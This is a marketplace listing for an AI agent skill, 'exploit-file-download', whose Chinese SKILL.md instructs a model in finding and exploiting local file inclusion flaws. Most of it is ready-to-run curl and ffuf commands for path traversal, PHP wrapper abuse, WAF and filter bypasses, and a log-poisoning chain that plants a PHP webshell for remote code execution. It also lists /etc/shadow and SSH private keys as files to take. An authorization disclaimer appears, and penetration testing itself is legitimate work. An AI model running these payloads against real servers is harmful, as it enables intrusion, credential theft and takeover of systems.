Exploit File Download logo

Exploit File Download

Community
crazyMarky
exploit-file-download

任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。

Overview

PublishercrazyMarky
Repositorypentest-skills
Skill nameexploit-file-download
Stars
342
Forks
37
Bundled files
8
LicenseApache-2.0
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 8 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by crazyMarky on GitHub. Read the source before you install it.

Installation

Install the Exploit File Download AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/crazyMarky/pentest-skills/tree/main/exploit-file-download
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/crazyMarky/pentest-skills.git /tmp/pentest-skills
mkdir -p .claude/skills
cp -r /tmp/pentest-skills/exploit-file-download .claude/skills/exploit-file-download
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Exploit File Download in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Exploit File Download on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Exploit File Download is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

任意文件下载与 LFI 检测和利用

授权声明

本 Skill 仅用于授权安全测试。使用前请确保:

  • 获得目标系统所有者的明确书面授权
  • 测试范围和授权内容已明确定义
  • 遵守当地法律法规

未经授权的渗透测试是非法行为。


概述

本 Skill 专注于任意文件下载和本地文件包含 (LFI) 类型漏洞的检测与利用。

注意:很多端点实际上是LFI 模式(参数值被当作文件名包含执行),而非真正的文件下载。因此本 Skill 的核心是LFI/文件读取能力。


核心功能

1. LFI 漏洞检测

自动识别以下 LFI 特征:

  • 文件包含模式:参数值被直接用作 include() 或require() 的文件路径
  • 目录遍历模式:../ 序列用于遍历目录
  • 伪协议利用:php://filter、php://input 等
  • 路径长度限制:超长路径可能被截断
  • 特殊字符:%00 空字节可能绕过扩展名检查

2. 常见 LFI Payload

类型Payload适用场景
文件包含?title=index.php简单文件包含测试
路径遍历?title=../../../../etc/passwdLinux 目录遍历
伪协议?title=php://filter/convert.base64-encode/resource=/etc/passwd读取敏感文件源码
Windows 路径?title=C:\\Windows\\win.iniWindows 文件读取
URL 编码?title=%2e%2e%2f%2e%2e%2fetc/passwd绕过简单过滤

3. LFI 利用场景

  • 源码读取:读取 PHP 源码进行分析
  • 配置获取:读取数据库配置文件
  • 日志投毒:通过 LFI 写入日志获取 RCE
  • 图片马:配合文件上传 getshell

工具安装

必备工具

bash
# curl - HTTP 请求工具(通常已预装)
# macOS
brew install curl

# Ubuntu/Debian
apt-get install curl

# ffuf - 快速 Web 模糊测试工具
go install github.com/ffuf/ffuf@latest

# wget - 文件下载工具(通常已预装)
# macOS
brew install wget

# Ubuntu/Debian
apt-get install wget

可选工具

bash
# dirsearch - 目录扫描工具
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch && pip install -r requirements.txt

# feroxbuster - 快速目录枚举工具
curl -L https://raw.githubusercontent.com/epi052/feroxbuster/main/install-nix.sh | bash

使用方式

快速开始

bash
# 测试 LFI - 简单文件包含
curl -s "https://target.com/vul/page.php?file=../../../../etc/passwd"

# 测试伪协议读取
curl -s "https://target.com/vul/page.php?file=php://filter/convert.base64-encode/resource=index.php"

# 使用 ffuf 批量测试 LFI payload
ffuf -u "https://target.com/vul/page.php?file=FUZZ" -w lfi_payloads.txt -mc 200

场景 1: 基础路径遍历测试

bash
# 测试 1-6 层遍历深度
curl "https://target.com/vul.php?file=../etc/passwd"
curl "https://target.com/vul.php?file=../../etc/passwd"
curl "https://target.com/vul.php?file=../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../etc/passwd"
curl "https://target.com/vul.php?file=../../../../../../etc/passwd"

# 使用 ffuf 自动化测试
ffuf -u "https://target.com/vul.php?file=FUZZetc/passwd" \
     -w <(seq 1 10 | sed 's/^/\.\.\//') \
     -mc 200 \
     -mr "root:x:0:0"

场景 2: 伪协议利用

bash
# 读取/etc/passwd
curl -s "https://target.com/vul.php?file=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -d

# 读取 PHP 源码(避免代码执行)
curl -s "https://target.com/vul.php?file=php://filter/read=convert.base64-encode/resource=config.php" | base64 -d

# 使用不同过滤器
curl "https://target.com/vul.php?file=php://filter/zlib.deflate/convert.base64-encode/resource=index.php"

场景 3: 日志投毒 RCE

bash
# 步骤 1: 在 User-Agent 中注入 PHP 代码
curl -A "<?php system(\$_GET['cmd']); ?>" "https://target.com/page.php"

# 步骤 2: 包含日志文件执行代码
curl "https://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami"

# 测试不同日志位置
curl "https://target.com/page.php?file=/var/log/apache2/error.log&cmd=id"
curl "https://target.com/page.php?file=/var/log/nginx/access.log&cmd=uname -a"

场景 4: 批量文件下载测试

bash
# 使用 ffuf 测试常见敏感文件
ffuf -u "https://target.com/download.php?file=FUZZ" \
     -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
     -mc 200 \
     -t 50 \
     -o lfi_results.txt

# 使用 wget 批量下载
while read path; do
    wget -q "https://target.com/download.php?file=$path" -O "downloaded_$(echo $path | md5sum | cut -c1-8).txt"
done < lfi_payloads.txt

场景 5: 绕过技术测试

bash
# URL 编码绕过
curl "https://target.com/vul.php?file=%2e%2e%2f%2e%2e%2fetc/passwd"

# 双重 URL 编码
curl "https://target.com/vul.php?file=%252e%252e%252fetc/passwd"

# 空字节截断(PHP<5.3.4)
curl "https://target.com/vul.php?file=../../etc/passwd%00.jpg"

# 路径变体
curl "https://target.com/vul.php?file=....//....//etc/passwd"
curl "https://target.com/vul.php?file=..\\..\\..\\etc\\passwd"

工具选择指南

场景推荐工具命令示例
快速单点测试curlcurl "URL?file=../etc/passwd"
批量 Payload 测试ffufffuf -u URL -w payloads.txt
文件下载保存wgetwget -O output.txt "URL"
目录深度枚举自定义脚本见下方深度测试脚本
响应内容分析grep/diffgrep -i "root:x:0" response.txt

深度测试脚本

bash
#!/bin/bash
# lfi_depth_test.sh - 测试路径遍历深度

URL="$1"
PARAM="$2"
MAX_DEPTH=${3:-10}

for i in $(seq 1 $MAX_DEPTH); do
    payload=$(printf '../%.0s' $(seq 1 $i))
    response=$(curl -s "${URL}?${PARAM}=${payload}etc/passwd")

    if echo "$response" | grep -q "root:x:0:0"; then
        echo "[+] 成功!深度:$i"
        echo "$response"
        break
    fi
    echo "[-] 深度 $i: 未匹配"
done

敏感文件路径清单

Linux 系统

bash
# 系统用户信息
/etc/passwd
/etc/shadow        # 需要 root 权限
/etc/group
/etc/sudoers

# 系统配置
/etc/hosts
/etc/resolv.conf
/proc/version
/proc/self/environ

# Web 应用配置
/var/www/html/.env
/var/www/html/wp-config.php
/var/www/html/config/database.yml
/root/.ssh/id_rsa
/home/*/.ssh/id_rsa

# 日志文件
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/syslog

Windows 系统

bash
# 系统配置
C:\Windows\win.ini
C:\Windows\System.ini
C:\Windows\System32\drivers\etc\hosts

# Web 配置
C:\inetpub\wwwroot\web.config
C:\xampp\htdocs\phpMyAdmin\config.inc.php

# IIS 日志
C:\inetpub\logs\LogFiles\W3SVC1\u_ex*.log

LFI Payload 清单

基础 Payload

../
../..
../../
../../../
../../../../
../../../../../
../../../../../../
../../../../../../../
../../../../../../../../
..../
....//
..././
..\
..\/

编码 Payload

%2e%2e%2f
%2e%2e/
..%2f
%2e%2e%5c
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%c0%ae%c0%ae/
..%c0%af
..%255c

PHP 伪协议

php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id
zip://shell.jpg%23shell.php

测试清单

侦察阶段

  • 识别所有可能存在 LFI 的参数(file, page, title, include, path, document)
  • 测试基础路径遍历(../)
  • 确认目标操作系统(Linux/Windows)
  • 测试伪协议可用性(php://filter)

利用阶段

  • 读取系统敏感文件(/etc/passwd, /etc/shadow)
  • 读取 Web 应用配置文件(.env, config.php)
  • 读取 PHP 源码分析应用逻辑
  • 尝试日志投毒获取 RCE
  • 尝试/proc/self/environ 利用

绕过测试

  • URL 编码绕过(%2e%2e%2f)
  • 双重 URL 编码(%252e%252e%252f)
  • Unicode 混淆(%c0%ae%c0%ae%c0%af)
  • 路径变体(.., ..//, ..././)
  • 空字节截断(%00)
  • 扩展名绕过(file.php.jpg, file.php.)

替代方案

如果主要工具不可用,可以使用以下替代方案:

主要工具替代方案说明
curlwgetwget -qO- "URL" 等同于curl -s "URL"
ffufgobustergobuster dir -u URL -w payloads.txt
ffufdirsearchdirsearch -u URL -e php
curl + grephttpx + nuclei使用 nuclei LFI 模板

相关 Resources

  • 技术文档: references/lfi_techniques.md - LFI 完整技术详解
  • PHP 伪协议: references/php_wrappers.md - PHP wrapper 参考
  • 绕过技术: references/bypass_techniques.md - 编码和过滤绕过
  • RCE 方法: references/rce_methods.md - 远程代码执行汇总

与 results-storage 集成

发现 LFI 漏洞后,可以存储到数据库:

bash
python .claude/skills/exploit-lfi/scripts/lfi_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/download?file=../../etc/passwd" \
  --payload "../../etc/passwd" \
  --file-read "root:x:0:0:root:/root:/bin/bash" \
  --severity Critical \
  --subsystem "Web Application"

数据库位置: ./data/results.db

相关技能: results-storage - 查询数据、生成报告


最佳实践

  1. 始终编码 Payload - 使用 URL 编码避免被 WAF 拦截
  2. 从浅到深测试 - 先测试 1-2 层遍历,再逐步加深
  3. 记录响应长度 - 成功响应通常长度异常
  4. 使用 base64 - 读取源码时用 base64 避免代码执行
  5. 不要忽略 403/404 - 有些 WAF 返回假错误码

最后更新: 2026-03-05 版本: 2.0

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Exploit File Download AI skill do?

任意文件下载与本地文件包含 (LFI) 漏洞检测和利用工具。使用 curl、ffuf、wget 等工具测试文件下载漏洞,支持路径遍历、伪协议利用、敏感文件读取。当用户需要测试文件下载功能、检测 LFI 漏洞、读取服务器敏感文件时使用此技能。

Why use Exploit File Download on TypingMind?

Because you install it once and use it with any model. Exploit File Download is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Exploit File Download in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/crazyMarky/pentest-skills/tree/main/exploit-file-download. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Exploit File Download?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Exploit File Download?

As many as you like. As long as a model supports skills, you can use Exploit File Download with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Exploit File Download AI skill free?

Yes. It is published on GitHub by crazyMarky under the Apache-2.0 license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇